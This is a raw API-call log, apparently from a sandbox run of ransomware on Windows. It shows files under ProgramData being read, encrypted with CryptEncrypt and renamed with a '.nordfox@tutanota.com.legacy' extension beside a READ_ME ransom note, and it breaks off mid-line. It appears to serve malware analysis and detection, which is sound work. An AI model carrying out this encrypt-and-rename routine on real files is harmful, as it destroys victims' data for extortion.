[0117.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.318] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.318] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.324] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.324] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.325] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.325] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.325] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.325] WriteFile (in: hFile=0x694, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.326] CloseHandle (hObject=0x694) returned 1 [0117.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0117.326] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b658 | out: hHeap=0x520000) returned 1 [0117.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60ad08 | out: hHeap=0x520000) returned 1 [0117.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0117.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b478 [0117.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.328] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.328] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl", dwFileAttributes=0x80) returned 1 [0117.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b8b8 [0117.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0117.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b8b8 | out: hHeap=0x520000) returned 1 [0117.330] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.331] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.331] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.334] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.334] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.334] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.335] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.335] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.335] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.335] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.336] CloseHandle (hObject=0x694) returned 1 [0117.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.336] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0117.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x520000) returned 1 [0117.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0117.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0117.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0117.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0117.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0117.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0117.338] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl", dwFileAttributes=0x80) returned 1 [0117.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567760 [0117.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bfa0 [0117.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567760 | out: hHeap=0x520000) returned 1 [0117.339] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.339] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.339] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.341] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.341] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.341] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.341] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.342] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.342] WriteFile (in: hFile=0x694, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.342] WriteFile (in: hFile=0x694, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.342] CloseHandle (hObject=0x694) returned 1 [0117.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0117.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0117.343] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bfa0 | out: hHeap=0x520000) returned 1 [0117.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0117.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0117.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0117.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0117.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0117.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.345] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl", dwFileAttributes=0x80) returned 1 [0117.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0117.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b4a8 [0117.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0117.346] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.346] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.346] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.350] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.350] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.351] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.351] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.351] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.351] WriteFile (in: hFile=0x694, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.352] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.352] CloseHandle (hObject=0x694) returned 1 [0117.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0117.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.352] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUx.001.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.001.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b4a8 | out: hHeap=0x520000) returned 1 [0117.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0117.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567490 | out: hHeap=0x520000) returned 1 [0117.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60afb0 [0117.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0117.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0117.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0117.354] FindFirstFileW (in: lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566d18 [0117.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b038 | out: hHeap=0x520000) returned 1 [0117.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0117.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b258 [0117.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0117.355] GetLastError () returned 0x0 [0117.355] SetLastError (dwErrCode=0x0) [0117.355] GetLastError () returned 0x0 [0117.355] SetLastError (dwErrCode=0x0) [0117.355] GetLastError () returned 0x0 [0117.355] SetLastError (dwErrCode=0x0) [0117.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0117.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0117.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0117.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0117.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566b98 [0117.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566b98 | out: hHeap=0x520000) returned 1 [0117.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0117.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0117.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0117.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0117.356] FindNextFileW (in: hFindFile=0x566d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0117.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b258 | out: hHeap=0x520000) returned 1 [0117.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0117.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b478 [0117.356] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0117.356] GetLastError () returned 0x0 [0117.356] SetLastError (dwErrCode=0x0) [0117.356] GetLastError () returned 0x0 [0117.356] SetLastError (dwErrCode=0x0) [0117.356] GetLastError () returned 0x0 [0117.356] SetLastError (dwErrCode=0x0) [0117.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0117.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d2f0 [0117.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0117.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0117.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567198 [0117.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567198 | out: hHeap=0x520000) returned 1 [0117.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0117.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0117.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0117.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0117.357] FindNextFileW (in: hFindFile=0x566d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd303eb40, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd303eb40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0117.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x520000) returned 1 [0117.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0117.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x60b368 [0117.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0117.357] GetLastError () returned 0x0 [0117.357] SetLastError (dwErrCode=0x0) [0117.358] GetLastError () returned 0x0 [0117.358] SetLastError (dwErrCode=0x0) [0117.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0117.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b368 | out: hHeap=0x520000) returned 1 [0117.358] GetLastError () returned 0x0 [0117.358] SetLastError (dwErrCode=0x0) [0117.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3c0 [0117.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0117.358] FindNextFileW (in: hFindFile=0x566d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd303eb40, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd303eb40, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0117.358] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0117.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60afb0 | out: hHeap=0x520000) returned 1 [0117.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0117.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0117.358] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\AppData\\Local\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0xd303eb40, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567258 [0117.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0117.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0117.359] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0117.359] HeapFree 